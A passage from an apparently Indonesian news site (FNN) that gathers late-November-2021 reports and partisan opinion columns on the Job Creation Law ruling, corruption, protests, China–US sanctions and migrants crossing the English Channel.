penjelasan kepada publik mengenai status keagamaan yang disandang Benny Susetyo. “Ada baiknya Konferensi Waligereja Indonesia (KWI) memberikan penjelasan apakah Benny Susetyo ini masih nyandang predikat keagamaan 'Romo',” ujarnya. (sws).

Kepemimpinan Otoriter Jokowi Selama Pandemi Terjawab oleh Putusan MK

Jakarta, FNN -Direktur Eksekutif Indonesia Future Studies, Gde Siriana Yusuf menilai kepemimpinan otoriter rezim pemerintahan Jokowi selama pandemi telah dijawab oleh putusan-putusan Mahkamah Konstitusi. Pasalnya Mahkamah Konstitusi (MK) telah mengabulkan sebagian gugatan materiil terkait Undang-Undang Nomor 2 Tahun 2020 tentang Penetapan Peraturan Pemerintah Pengganti Undang-Undang (Perppu) Nomor 1 Tahun 2020 tentang Kebijakan Keuangan Negara dan Stabilitas Sistem Keuangan Untuk Penanganan Pandemi Corona Virus Disease 2019 (Covid-19). "Keputusan MK ini mengembalikan hak-hak Budget DPR terkait penyusunan anggaran. MK juga menyatakan Omnibus Law atau Undang-Undang Cipta Kerja Inkonstitusional Bersyarat," kata Gde Siriana Yusuf kepada wartawan, Kamis(25/11/2021). Menurut Pengamat Poltik dan Kebijakan Publik ini, dua keputusan Mahkamah Konstitusi ini harus dimaknai bahwa, secara hukum membuktikan pemerintah telah membuat kebijakan-kebijakan yang anti nilai-nilai demokrasi, seperti check and balance, transparansi dan partipasi masyarakat dalam penyusunan UU. "Undang-Undang yang cacat konstitusi tersebut dipaksakan lolos saat terjadi pandemi Covid-19. Ini dapat dipandang sebagai adanya kepentingan-kepentingan oligarki di balik Undang-Undang tersebut dengan memanfaatkan situasi krisis pandemi,"jelasnya. Konsekuensi dari dua putusan MK tersebut, menurut Gde Siriana, yang pertama adalah pelanggaran-pelanggaran dalam kebijakan pandemi dan implementasinya, penyusunan anggaran maupun penggunaan anggaran, dapat diaudit lagi dengan menggunakan aturan yang berlaku. Dan yang kedua adalah masyarakat yang dijerat dengan hukum terkait aksi protes terhadap UU Cipta Kerja harus dibebaskan dari hukum dan direhabilitasi. "Aksi protes masyarakat dan pengajuan judicial review terhadap UU Cipta Kerja merupakan bentuk partisipasi dan pengawasan warga negara terhadap jalannya pemerintahan di mana substansi protes masyarakat telah diterima oleh MK, bukan hoax seperti yang selama ini dituduhkan pemerintah," tambahnya. Seperti diketahui UU Cipta Kerja digugat ke MK oleh beberapa elemen buruh. Dalam pertimbangan putusan sidang Kamis (25/11) Mahkamah menilai tata cara pembentukan UU 11/2020 tidak didasarkan pada cara dan metode yang pasti, baku, dan standar, serta sistematika pembentukan undang-undang, terjadinya perubahan penulisan beberapa substansi pasca persetujuan bersama DPR dan Presiden dan bertentangan dengan asas-asas pembentukan peraturan perundang-undangan. Mahkamah berpendapat proses pembentukan UU Nomor 11 Tahun 2020 tidak memenuhi ketentuan berdasarkan UUD 1945 sehingga harus dinyatakan cacat formil. Selain itu, untuk menghindari ketidakpastian hukum dan dampak lebih besar yang ditimbulkan, Mahkamah menilai UU Cipta Kerja harus dinyatakan inkonstitusional secara bersyarat. "Menimbang bahwa berdasarkan uraian pertimbangan hukum tersebut di atas, menurut Mahkamah UU 11/2020 harus dinyatakan inkonstitusional secara bersyarat sebagaimana dinyatakan dalam amar putusan ini," ucap MK. UU Ciptaker atau Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja disahkan oleh DPR pada 5 Oktober 2020. Pemerintah selaku pengusul menilai, UU Cipta Kerja dirancang untuk menjawab kebutuhan pekerja, pelaku usaha kecil, dan juga industri. Sementara UU itu disahkan di tengah penolakan berbagai pihak mulai dari mahasiswa sampai buruh. Ketentuan dalam UU Ciptaker dianggap banyak merugikan para pekerja. Pada hari ini, para buruh dari Jakarta hingga Jawa Timur juga menggelar aksi bertepatan dengan keputusan MK atas judicial review UU Cipta Kerja. (sws)

Ketua MPR: Kadin Indonesia Siap Berantas Korupsi di Dunia Usaha

Jakarta, FNN - Ketua MPR RI sekaligus Kepala Badan Hubungan Penegakan Hukum, Keamanan, dan Pertahanan Kamar Dagang dan Industri (Kadin) Indonesia Bambang Soesatyo (Bamsoet) mengatakan bahwa Kadin siap menjadi garda terdepan untuk memberantas korupsi di dunia usaha. "Kadin Indonesia dan KPK sebelumnya memiliki Nota Kesepahaman (MoU) Nomor 145 Tahun 2017 tentang Kerja Sama Dalam Upaya Pemberantasan Tindak Pidana Korupsi yang ditandatangani 3 Oktober 2017 dan berakhir 3 Oktober 2019. Pembaruan MoU yang dilakukan hari ini menjadi bukti konkret Kadin Indonesia siap menjadi garda terdepan pemberantasan korupsi, khususnya di dunia usaha," ujar Bamsoet usai penandatanganan MoU Kadin Indonesia dengan KPK, di Gedung Merah Putih KPK, sebagaimana dikutip dari keterangan tertulis yang diterima di Jakarta, Kamis. Bamsoet, sapaan akrab Bambang Soesatyo, mendukung penuh penandatangan MoU antara Kadin Indonesia dengan KPK. MoU yang ditandatangani Ketua KPK Firli Bahuri dan Ketua Umum Kadin Arsjad Rasjid ini berlaku untuk jangka waktu lima tahun dan bertujuan meningkatkan kerja sama kedua pihak dalam pemberantasan tindak pidana korupsi. Ketua DPR RI ke-20 yang juga mantan Ketua Komisi III DPR RI yang membidangi Hukum, HAM, dan Keamanan ini menjelaskan ruang lingkup MoU meliputi berbagai hal, yakni pertukaran informasi dan data, pencegahan tindak pidana korupsi, pendidikan, pelatihan dan sertifikasi, sosialisasi dan kampanye, pelaksanaan dan penerapan hasil kajian/penelitian, serta kegiatan lain berkaitan dengan program pemberantasan korupsi di sektor yang disepakati oleh para pihak yang terlibat. "Sebagai Kepala Badan Hubungan Penegakan Hukum, Keamanan, dan Pertahanan Kadin Indonesia, saya ditugaskan menjadi narahubung dalam rangka pelaksanaan MoU ini. Sementara dari KPK, narahubungnya ditugaskan kepada Direktur Pembinaan Jaringan Kerja Antar-Komisi dan Instansi," jelas Bamsoet. Wakil Ketua Umum Partai Golkar ini menerangkan salah satu poin penting dalam MoU adalah adanya penerapan whistleblowing system sehingga diharapkan dapat memudahkan pengelolaan laporan, khususnya terhadap saksi tindak pidana korupsi yang berasal dari korporasi. Melalui whistleblowing system, para saksi yang melaporkan praktik korupsi di korporasi bisa mendapat perlindungan hukum. "Jika menengok ke belakang, dari perspektif dunia usaha, berbagai kebijakan yang diterbitkan pemerintah pascareformasi dinilai masih cenderung merugikan pengusaha, misalnya bila dirujuk pada sektor pajak, perizinan, dan lingkungan sehingga akhirnya justru memperlambat pengembangan sektor industri. Kondisi ini disinyalir menjadi salah satu faktor pemicu lahirnya perilaku korup yang melibatkan pihak swasta atau dunia usaha," terang Bamsoet. (mth)

Kadin Jatim Percepat Pemulihan Ekonomi Pascapandemi dengan Pameran BBI

Surabaya, FNN - Kamar Dagang dan Industri (Kadin) Jawa Timur mendorong percepatan ekonomi pascapandemi di wilayah itu melalui pameran Bangga Buatan Indonesia (BBI) yang terangkum dalam Indonesian Product Expo (Inapro) 2021 di Grand City, Surabaya. Ketua Umum Kadin Jatim, Adik Dwi Putranto di Surabaya, Kamis, mengatakan Inapro Expo 2021 adalah akumulasi dari kegiatan yang telah dilaksanakan Kadin Jatim untuk membantu percepatan ekonomi Jatim dan dukungan atas program Jatim Bangkit yang dicanangkan Gubernur Jatim Khofifah Indar Parawansa. Adik mengatakan sejauh ini Kadin telah melakukan berbagai kegiatan untuk penguatan UMKM agar bisa naik kelas, di antaranya membimbing dan menciptakan pendamping UMKM bersertifikat. Selain itu, bersama Bank Indonesia dan Pemprov Jatim juga telah mendirikan Rumah Kurasi yang bertugas menstandarkan produk UMKM agar bisa diterima di pasar global. Ia menjelaskan, pameran yang akan berlangsung selama empat hari, yaitu tanggal 25-28 November 2021 mengajak kepada seluruh masyarakat Jatim menggelorakan Gerakan Nasional BBI, karena Indonesia sebagai negara besar dengan jumlah penduduk yang mencapai 272 jiwa, menjadi pasar yang sangat potensial untuk dipertahankan dan dimaksimalkan agar bisa menjadi tuan di negeri sendiri. "Dengan memilih produk lokal, maka akan ada banyak pengusaha UMKM dan petani kecil yang terbantu. Jangan sampai pasar Indonesia yang sangat besar ini justru dikuasai produk asing," kata Adik. Ia berharap, pameran kali ini bukan sebagai puncak melainkan baru permulaan sebagai momentum lahirnya era baru pameran hybrid yang berkualitas dan menjadikan agenda tahunan yang ditunggu masyarakat. Direktur Jenderal Pengembangan Ekspor Nasional Kemendag Didi Sumedi menyambut baik pelaksanaan pameran yang bertujuan untuk pemulihan ekonomi, dan mendukung kemajuan UMKM. "Pameran ini merupakan ajang yang menarik untuk semakin meningkatkan edukasi kepada masyarakat mengenai produk unggulan daerah khususnya dari Jawa Timur, dan memberikan gambaran tentang bagaimana pelaku usaha dapat menjual produknya hingga kancah internasional sehingga nantinya kegitan kegiatan ini dapat membantu mempercepat pemulihan ekonomi nasional khususnya Jawa Timur," katanya. Sementara itu, pameran didukung berbagai asosiasi di Jawa Timur dan diikuti 100 stand yang terdiri dari Organisasi Peringkat Daerah (OPD) pemerintah Provinsi Jawa Timur dan Kabupaten/Kota seluruh Jawa Timur, BUMN/BUMD, asosiasi, serta pelaku usaha. INAPRO EXPO 2021 diadakan dengan tetap memperhatikan protokol COVID-19, dan segala kegiatan disiarkan melalui virtual dengan menampilkan berbagai produk unggulan kreasi dalam negeri, fashion show, line dance, webinar, dan acara menarik lainnya. (mth)

China Protes AS Atas Sanksi 12 Perusahaan

Beijing, FNN - Kementerian Perdagangan China (Mofcom) memprotes tindakan Amerika Serikat yang menjatuhkan sanksi terhadap 12 perusahaan asal negeri Tirai Bambu itu. Kepada pers di Beijing, Kamis, Mofcom akan mengajukan pernyataan keberatan terhadap pemerintah AS. Pemerintah AS telah berlebihan dalam menerapkan konsep keamanan nasional dengan menjatuhkan sanksi secara sewenang-wenang, demikian juru bicara Mofcom Shu Jueting menanggapi daftar hitam AS yang memuat sejumlah perusahaan asal China. "Tindakan tersebut sangat tidak berdasar dan prosedurnya tidak jelas," ujarnya. Daftar sanksi terbaru yang dikeluarkan Departemen Perdagangan AS itu dianggap tidak selaras dengan konsensus yang dicapai kedua kepala negara dalam pertemuan virtual pada Selasa (16/11) lalu. Menurut Shu, sanksi itu tidak mewakili kepentingan kedua negara dan justru menghambat keberlangsungan industri global dan rantai pasokan serta pemulihan ekonomi global. "China akan mengambil tindakan yang diperlukan untuk membela 12 perusahaan yang terkena sanksi di AS dan siap melakukan tindakan balasan," kata juru bicara Kementerian Luar Negeri China Zhao Lijian. Di antara 12 perusahaan yang masuk daftar hitam AS itu adalah Hangzhou Zhongke Microelectronics Co Ltd, Hunan Goke Microelectronics (300672.SZ), New H3C Semiconductor Technologies Co Ltd, Xi'an Aerospace Huaxun Technology, dan Yunchip Microelectronics yang dianggap memberikan dukungan terhadap program modernisasi militer Tentara Pembebasan Rakyat China (PLA). Ada juga Laboratorium Nasional Ilmu Fisik di Hefei, QuantumCTek (688027.SS) dan Shanghai QuantumCTeck Co Ltd yang dimasukkan dalam daftar hitam AS karena dianggap mencoba memperoleh barang-barang asal AS untuk mendukung aplikasi militer China. China sedang gencar-gencarnya merealisasikan program modernisasi militer hingga tahun 2035. (mth)

Sebanyak 15 Anggota Pemuda Pancasila Jadi Tersangka Demonstrasi Anarkis

Jakarta, FNN - Aksi demonstrasi yang dilakukan oleh anggota Pemuda Pancasila (PP) di Gedung DPR/DPD/MPR RI, Senayan, Jakarta Pusat, Kamis, 25 November 2021 berakhir ricuh. Kericuhan menyebabkan satu anggota polisi, Ajun Komisaris Besar Dermawan Karosekali dikeroyok pendemo. Peristiwa tersebut menyebabkan polisi bertindak tegas membubarkan mereka. Bahkan Kapolres Jakarta Pusat Komisaris Besar Hengki Haryadi naik ke mobil komando meminta pelaku pengeroyokan anggota polisi menyerahkan diri. Selain itu dia meminta aksi demo segera bubar. Tidak lama setelah itu polisi lansung bergerak membubarkan massa. Menurut pengamatan wartawan FNN di lokasi lansung kocar-kacir dikejar polisi. Akibat peristiwa pemukulan terhadap polisi dan aksi anarkis lainnya, 15 anggota PP dijadikan tersangka. Penetapan tersangka itu juga karena polisi menemukan senjata tajam yang dibawa anggota pendemo. "Dalam kegiatan demo tadi kami amankan 15 tersangka. Sudah ditetapkan tersangka, sudah diperiksa tadi di awal," kata Kepala Bidang Hubungan Masyarakat Polda Metro Jaya, Komisaris Besar Endra Zulpan. Zulpan mengatakan, total ada 21 orang yang ditangkap terkait unjuk rasa tersebut. Tetapi, hanya 15 orang yang telah ditetapkan sebagai tersangka. "Semua membawa senjata tajam. Ini senjata tajam yang sebenarnya tidak perlu dibawa karena dapat membahayakan orang lain," ujar Zulpan. Dia menuturkan, , lima orang masih menjalani pemeriksaan oleh penyidik. Satu orang lainnya masih diperiksa secara terpisah atas dugaan pengeroyokan terhadap Kapala Bagian Operasi Direktorat Lalu Lintas Polda Metro Jaya, Ajun Komisaris Besar, Dermawan Karosekali. Ke-15 tersangka itu langsung ditahan oleh pihak Kepolisian guna pemeriksaan intensif. "Nanti kami (polisi) periksa lanjutan dan dilakukan penahanan," kata Endra Zulpan. Adapun pasal yang dipersangkakan kepada 15 tersangka tersebut, yakni Pasal 2 Undang-Undang Darurat Nomor 12 Tahun 1951 tentang senjata tajam. (Muhammad Anwar Ibrahim/FNN/Antara).

Media Miliki Peranan Penting Cegah Kekerasan pada Perempuan

Jakarta, FNN - Menteri Pemberdayaan Perempuan dan Perlindungan Anak Republik Indonesia Bintang Puspayoga mengajak media untuk fokus dan memerangi tindakan kekerasan pada perempuan karena media berperan besar mencegah kekerasan pada perempuan. Media diharapkan bisa menerapkan peliputan yang berperspektif korban dan bisa mempromosikan norma positif yang mendukung pemberdayaan perempuan dan kesetaraan gender. “Indonesia yang aman bagi perempuan tidak akan tercipta tanpa dukungan dan sinergi dari seluruh pihak, khususnya media. Dalam hal ini, kami sangat berharap media bisa menjalankan kode etik pemberitaan yang ramah perempuan, serta mulai mengembangkan kebijakan media untuk mendorong pencegahan kasus kekerasan terhadap perempuan” kata Bintang dalam acara virtual yang dilangsungkan Yayasan Care Peduli dan UN Women, Kamis. Bintang menyebutkan fakta, 1 dari 3 perempuan di dunia pernah mengalami kekerasan fisik ataupun seksual oleh pasangan, nonpasangan, maupun keduanya. Kondisi serupa terjadi di Indonesia, rupanya perempuan Indonesia yang berusia 15-64 tahun pernah mengalami kekerasan fisik maupun seksual dalam hidupnya. Dengan kondisi itu, Bintang mengajak media agar bisa memerangi dan mencegah kekerasan kepada wanita lewat menyediakan pemberitaan yang ramah perempuan. Pernyataan serupa juga diangkat oleh UN Women Representative and Liasion to ASEAN Jamshed M. Kazi yang menyebutkan media bisa berkontribusi besar untuk mendorong pesan kesetaraan gender. Media diharapkan tidak menormalisasi kekerasan pada wanita dan lebih banyak mendorong pesan kesetaraan dinilai mampu mendorong literasi agar posisi wanita bisa setara dengan laki- laki. "Peran media tetap penting untuk meningkatkan kesadaran, melawan misinformasi, menanamkan lebih banyak kepercayaan bagi para penyintas dan mendorong respons publik - terutama di antara pembuat kebijakan, akademisi, influencer, dan penyedia layanan,” ujar Jamshed. Sejalan dengan pesan mencegah kekerasan pada wanita, Yayasan CARE Peduli dengan visinya menciptakan ruang aman yang inklusif dan berkeadilan bagi masyarakat turut mendukung media bisa mendorong kesetaraan gender dalam pemberitaannya. Diharapkan media juga bisa meningkatkan kesadaran masyarakat untuk mencegah kekerasan pada perempuan. Sejalan dengan visinya, Yayasan CARE berkomitmen untuk mengadvokasi dan berkolaborasi dengan semua pihak agar kekerasan terhadap perempuan tidak lagi terjadi dan kesetaraan gender dapat tercipta di Tanah Air. (mth)

Partai Demokrat Dukung Penguatan Dewan Perwakilan Daerah Setara Dengan DPR

Jakarta, FNN – Partai Demokrat (PD) mendukung penguatan Dewan Perwakilan Daerah (DPD) RI agar setara dengan Dewan Perwakilan Rakyat (DPR) RI. Partai besutan mantan Presiden Susilo Bambang Yudhoyono itu juga mendukung upaya yang dilakukan berbagai pihak, termasuk DPD dalam menghapus ambang batas atau presidential threshold (PT) pencalonan presiden oleh partai peserta pemilu, menjadi nol persen. PD menyampaikan dukungan tersebut dalam dialog dengan DPD yang dipimpin oleh Ketua Kelompok DPD MPR RI, Tamsil Linrung, di Jakarta, Kamis, 25 November 2021. Dalam pertemuan itu, Tamsil antara didampingi Muhammad Syukur (sekretaris), Fahira Idris, Eni Sumarni dan Muhammad Ajbar. Sedangkan pengurus PD yang ikut dalam pertemuan tersebut antara lain, Wakil Ketua Umum PD, Marwan; Sekretaris Jenderal PD, Teuku Rifki; Ketua Kajian Ketatanegaraan, Andi Timo. Ketua Umum PD, Agus Harimurti Yudhoyono (AHY) tidak hadir karena masih di Amerika Serikat mendampingi ayahnya yang masih menjalani pengobatan setelah operasi kista. Dialog berlangsung cair. PD juga menegaskan dukungan terhadap upaya amandemen kelima terhadap Undang-Undang Dasar 1945. Hanya saja, harus dilakukan secara ketat dan terbatas. Dukungan PD tersebut berarti semakin menambah deretan kalangan yang setuju atas berbagai gagasan yang dilontarkan DPD, terutama penghapusan PT. Ketua DPD, AA LaNyalla Mahmud Mattaliti bersama timnya adalah penggagas perlunya penghapusan PT menjadi nol persen. Dengan cara itu, sangat dimungkinkan munculnya calon perseorangan dalam perebutan kursi presiden lewat Pemilihan Umum Presiden (Pilpres). Jika hal itu lolos, sangat dimungkinkan DPD bisa mengajukan calon se ndiri, karena jumlah anggotanya 136 orang. Kalau jumlah tersebut diasumsikan sebagai parpol peserta Pemilu, DPD adalah nomor 1, mengalahkan PDIP dengan 128 kursi dari 575 kursi DPR RI atau 22,26 persen. (MD)

Satu Hari Ini Hari Guru, 364 Hari Lainnya Hari Koruptor

By Asyari Usman Alhamdulillah! Ada satu hari untuk Hari Guru. Hari ini 25 November. Nimbrung ucapan “selamat” kepada para Pak Guru dan Bu Guru. Kami tahu, tidak semua kalian “selamat”. Banyak yang harus hidup belasan bahkan puluhan tahun dengan honor 300 ribu perak sebulan. Lebih 700,000 guru yang masih berstatus tak menentu. Mereka disebut ‘guru honorer’. Ada yang sudah lebih 20 tahun menyandang status ini. Sadis! Satu-dua orang baik berusaha agar para guru honorer itu bisa menjadi pegawai negeri sipil (PNS). Terutama mereka yang telah berjibaku belasan tahun dengan honor yang tak masuk akal. Namun, usaha ini masih belum membuahkan hasil. Ada saja yang dijadikan alasan untuk memblok upaya menjadikan guru honorer sebagai PNS. Tadi pagi, seorang yang berhenti menjadi guru honorer untuk kemudian menjadi tukang baso bercerita tentang adanya kesengajaan untuk mencegah mereka menjadi PNS. Luar biasa! Itulah Indonesia. Itulah penguasa negeri ini. Mereka lebih mengutamakan para koruptor agar bisa lebih leluasa menggarong uang rakyat. Mereka bantu para perampok kekayaan negara itu untuk mendapatkan keringanan hukuman sekiranya mereka pura-pura diadili. Para penguasa eksekutif dan legislatif fokus berkolaborasi untuk menilap uang rakyat. Mereka kompak dalam berbagai cara. Salah satunya adalah melemahkan Komisi Pemberantasan Korupsi (KPK) agar lembaga antikorupsi ini tidak lagi seram. KPK sekarang berubah drastis. Semakin menyenangkan bagi para penggarong. Selama tujuh tahun belakangan, ratusan ribu guru honorer bersabar menunggu realisasi janji kampanye Joko Widodo (Jokowi) di Pilpres 2014. Waktu itu, Jokowi menjanjikan langkah-langkah yang akan meningkatkan kesejahteraan guru honorer. Termasuklah mendorong agar mereka diangkat menjadi PNS. Tapi, janji ini tersisih oleh ambisi Jokowi untuk menciptakan sekian banyak ‘legacy’ (warisan) yang kolosal. Jokowi sibuk memindahkan ibu kota negara (IKN) dengan biaya minimal 500 T. Ini akan menjadi warisan dahsyat. Nama Jokowi akan dikenang sepanjang zaman. Energi kabinet dikerahkan untuk ibu kota baru. Dia juga sedang hanyut dalam mimpi infrastruktur yang menjanjikan puja-puji ‘legacy’. Jokowi tengah fokus menuntaskan kereta cepat Jakarta-Bandung yang mengalami “infeksi” biaya. Ada pembengkakan besar. Dompet semakin tipis. BUMN tak bisa diharapkan. Malahan banyak yang mau bangkrut. Jalan pintas: cari pinjaman baru. Utang yang ada lebih 6,000 Triliun. Enam gunung besar. Mungkin diperlukan beberapa gunung besar lagi. Para koruptor tahu persis bagaimana cara mencangkol gunung-gunung baru itu nanti. Mereka sudah lakukan itu setiap hari, sepanjang tahun. Para koruptor itu libur satu hari saja. Sekadar memberikan kesempatan kepada para penguasa untuk mengucapkan “Selamagt Hari Guru” pada 25 November. Besok mereka kembali sibuk berkolaborasi dalam korupsi. Begitulah gambarannya. Anda, para guru honorer, punya satu hari saja dalam setahun. Itu pun hanya untuk menerima basa-basi ucapan selamat. Yang 364 hari lainnya adalah untuk para koruptor.[] (Penulis wartawan senior FNN)

Formula E Lepas dari Kebuntuan Siasat Jahat

Oleh: Yusuf Blegur Saking tidak ada lagi isu atau celah yang bisa dimainkan untuk menjatuhkan Anies Baswedan, PDIP dan PSI seperti memaksakan wacana Formula E untuk terus mendiskreditkan Gubernur DKI Jakarta. Sudah hampir setahun ini, kedua partai politik di parlemen Kebon Sirih seperti ngotot, gigih dan pantang menyerah mengeksploitasi program balap mobil listrik yang akan diselenggarakan Pemprop DKI. Setelah kegagalan penggunaan hak interpelasi, pemeriksaan BPK yang clear dan pengerahan pendengung, influencer dan buzzer, bahkan hingga menggunakan jejaring dan kekuasaan politisnya memaksa membawa program Formula E ke KPK. PDIP dan PSI yang berkecamuk dendam dan nafsu terus berupaya menggusur orang nomor satu di balai kota itu. Tidak sedikit pun dapat memenuhi ambisi dan syahwat politiknya. Anies bergeming dan tetap melanjutkan program Formula E. Justru dari sekelumit itu, figur Anies banjir simpati dan dukungan baik dari warga Jakarta maupun nasional. Seperti gajah di pelupuk mata tak tampak, namun semut di seberang lautan terlihat. PDIP dan PSI larut dalam emosi dan dikendalikan kedengkian yang berlebihan terhadap Anies. PDIP dan PSI selalu abai, bahwa internal partainya termasuk yang paling sering terlibat korupsi, mengumbar janji yang tak pernah ditepati dan melahirkan kebijakan yang menindas dan menyengsarakan rakyat. Kader-kader partai PDIP dan PSI yang sering bolak-balik berurusan dengan instrumen seperti KPK dan kejaksaan agung. Mulai dari korupsi bansos saat pandemi, korupsi E-KTP hingga sulitnya menemukan hilangnya Harun Masiku ditelan kasus suap KPU. Termasuk kehilangan semua jejak dan keterlibatan yang ada dalam kasus itu. Begitu pun dengan kegagalan pembangunan infra struktur baik karena mangkrak maupun sebab dibangun dengan utang yang mencekik rakyat, namun begitu saja dijual murah. Ada lagi kereta cepat Jakarta Bandung yang lambat pekerjaannya namun cepat membengkak biayanya. Juga soal banjir pun begitu, dari mulai Jawa Barat, Jawa Tengah hingga banjir Sintang Kalimantan Barat. Semua kegagalan-kegagalan program pembangunan yang diikuti maraknya korupsi dan kerusakan alam seakan tak tampak dan tak ada dalam pengetahuan serta kesadaran mereka. Padahal PDIP dan PSI merupakan partai politik dalam lingkar kekuasaan yang melaksanakan pembangunan dan menggerakkan sebagian besar birokrasi pemerintahan di keseluruhan negeri. Kader PDIP begitu juga PSI seperti orang-orang yang sedang berlarian telanjang bulat di jalan, sembari teriak mengumumkan peraturan dan norma kesusilaan kepada masyarakat. Bagai orang yang sedang mabuk alkohol dan narkotika, seakan percaya diri menasehati orang yang masih sadar dan sehat. Bagi PDIP dan PSI, tidak ada urusan yang lebih besar dari fenomema korupsi dan extra ordinary crime lainnya yang melilit tubuh mereka sendiri, selain program Formula E. *Tak Berhenti Sampai Anis Bisa Dijegal* Sepertinya dan kecenderungannya perlu ada tes kejiwaan dan psikis bagi orang seperti Giring Ganesha yang Ketua Umum PSI dan Pasetyo Edi Marsudi yang kader PDIP sekaligus ketua DPRD DKI. Pasalnya, kedua orang ini begitu ngotot dan ngoyo mencari-cari kesahan Anies dalam program Formula E. Giring yang tumbuh dalam habitat keartisan, dianggap belum memiliki pengalaman dan kematangan dalam politik. Begitu Juga dengan Prasetyo yang jejak rekam dan behaviornya politiknya biasa-biasa saja. Kelihatan sok tahu dan merasa lebih pintar dari Gubernur Jakarta yang sudah kenyang di dunia pendidikan dan birokrasi pemerintahan. Giring dan Prasetyo memang berani, tapi tak punya cukup akal sehat dan kemampuan wawasan kebangsaan yang mumpuni. PDIP dan PSI yang hanya bermodalkan kekuasaan politik dan mungkin sudah lumayan menimbun kapital. Memaksakan hasrat dan target kepentingan politiknya, mendobrak mekanisme dan aturan struktur formal lainnya yang sudah ada dan berjalan dalam perencanaan Formula E. Selain penegasan dari BPK dan Ketua MPR RI yang juga Ketua Ikatan Motor Indonesia (IMI). Bahwasanya sejauh ini tidak ada masalah dan tidak diketemukan penyalahgunaan uang negara. Bambang Soesatyo pun mempersilahkan proses hukum ditempuh namun kegiatan Formula E tetap bisa berjalan. Selain itu, diperkuat juga dari Co-founder Formula E merangkap Wakil Formula E Operations (FEO), yakni Alberto Longo. Seperti yang dilansir tempo.co dan Jakarta (Antara). Alberto Longo membantah isu bahwa Jakarta adalah satu-satunya kota penyelenggara yang membayar commitmen fee. Beberapa kota di negara lain juga melakukan hal yang sama. Dalam jumlah pembiayaan Jakarta juga tidak lebih besar dari kota-kota penyekengara Formula E lainnya. Ia juga mengatakan bahwa sejauh ini tidak ada hal-hal yang menyalahi prosedur dari rencana dan proses kegiatan Formula E. Tidak ada klausul yang menyimpang, ujarnya. Bahkan saat presiden dan pemerintah pusat mendukung pelaksanaan Formula E di Jakarta. Sebuah event yang mengangkat trust dunia terhadap Indonesia dan membuka peluang investasi yang sedang digenjot pemerintah pusat. Belum mampu juga memulihkan kewarasan berpikir legislator PDIP dan PSI di kawasan Balai Kota. Formula E yang dimasalahkan secara politis bukan teknis, dieksplotasi PDIP dan PSI guna memuaskan syahwat politik keduanya di Jakarta. Ini sudah diluar batas fatsun politik dan keberadaban demokrasi. Dimana ambisi telah membunuh kewarasan politisi tanggung ala Garing dan Prasetyo. Formula E juga tetap lebih rendah dan dianggap tidak istimewa ketimbang balapan WSBK Mandalika 2021 di Sirkuit Mandalika yang berbiaya besar juga dan dibangga-banggakan. Namun even dunia itu seketika diawal pembangunan, telah menjadi wahana air tempat bermain anak untuk bule-bule pembalap internasional. Banjirpun tumpah ruah ke tempat dan ajang olah raga dunia. Entah harus bilang menakjubkan atau memalukan bangsa?. Jadi seperti biasa buat Anies. Tetap tenang, santun dan cerdas. Ketidakwarasan politisi kerdil dan picik jangan sampai membuat Jakarta jadi ikuti-ikutan edan. Lagipula, banjir Jakarta juga sudah pindah ganasnya ke Jabar, Jawa Tengah hingga Sintang Kalimantan Barat. Begitu juga korupsi, semakin marak dan mewabah diluar birokrasi Pemvrop DKI Jakarta. Tetap lepas dan waspada dari kebuntuan politisi licik dan siasat jahatnya. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Mahasiswa dan Pemuda Pancasila Demo di DPR

Jakarta, FNN - Dua kelompok massa mengadakan demonstrasi di sekitar gedung DPR (Dewan Perwakilan Rakyat), Senayan, Jakarta Pusat, Kamis, 25 November 2021 siang ini. Kedua kelompok mendatangi gedung dewan dengan tuntutan yang berdeda. Berdasarkan pantauan wartawan FNN.co.id, massa Pemuda Pancasila (PP) datang lebih duluan sekitar pukul 13.00. Kemudian, sekitar pukul 14.00 tiba massa mahasiswa yang bergabung dalam Forum Silaturrahim Lembaga Dakwah Kampus (FSLDK). Kedatangan massa PP bermaksud meminta anggota DPR, Junimart Girsang meminta maaf karena mengeluarkan pernyataan agar organisasi berseragam loreng merah itu dibubarkan. Padahal, anggota DPR dari PDIP itu sudah menyampaikan permohonan maaf. Aliansi mahasiswa yang tergabung dalam FSLDK sempat khawatir ketika mendapat informasi ada massa PP yang demo, dan berada di gerbang utama gedung parlemen, Jalan Jenderal Gatot Subroto. Para mahasiswa khawatir terjadi bentrok. Tuntutan mereka agar Peraturan Menteri Pendidikan Nasional, Kebudayaan, Riset dan Teknologi (Permendikbudristek)Nomor 30 Tahun 2021 segera dicabut. Dalam pandangan dan pendapat mereka, peraturan tersebut dapat menjadi pintu masuk kebebasan seks di kalangan mahasiswa atau kampus. Mereka juga menuntut agar Rancangan Undang-Undang Tindak Pidana Kekerasan Seksual dibatalkan. Sebab, dalam kajian mereka, RUU tersebut juga mengandung unsur-unsur kebebasan seks. Selain itu juga bisa menjadi pintu masuk LGBT (Lesbian, Gay, Biseks dan Transgender), serta pernikahan sesama jenis. (Muhammad Anwar Ibrahim/FNN).

Tragedi Tak Hentikan Migran Menyeberang ke Inggris

Wimereux, FNN - Sebanyak 27 orang migran tenggelam di lepas pantai Prancis ketika perahu mereka terbalik di Selat Inggris pada Rabu. Prancis mengatakan pihaknya bekerja keras menghentikan penyeberangan ilegal di selat yang memisahkan daratan Eropa dengan Inggris itu. Namun tak ada yang menghentikan sekelompok migran lain yang terdiri dari 40 orang, termasuk enam anak-anak, yang berangkat dari Wimereux di utara Prancis saat fajar di hari yang sama. Berbalut mantel besar dan topi wol hitam untuk menahan dingin, belasan pria mengangkat perahu karet di pundak dan berjalan melewati bukit pasir menuju pantai. Di depan mereka terbentang perairan dingin dan sejumlah jalur pelayaran tersibuk di dunia. Keluarga mereka mengikuti, termasuk sejumlah pria yang menyeret sebuah motor tempel. Seorang pria menggandeng anak laki-lakinya. Dua pria lainnya menggendong bocah kecil di atas pundak, dan para wanita membawa barang. Sebuah truk polisi Prancis datang menghampiri, menyorotkan lampu dan berputar mengelilingi para migran seakan berusaha menghalangi langkah mereka menuju laut. Seorang wanita yang membawa bocah kecil melangkah ke depan truk dan meraung-raung. Kendaraan itu berhenti dan tak lama kemudian pergi ke bagian pantai lain untuk berpatroli. Para migran lalu berlarian menuju perahu di pantai, mengangkat anak-anak ke atasnya lalu mendorongnya ke laut. Seorang wanita berteriak kepada Reuters: "Ke Inggris," sambil mengangkat sebuah kantong plastik ke atas kepala agar barang di dalamnya tetap kering. Dalam air setinggi pinggang, migran lain mendekati perahu karet dan naik 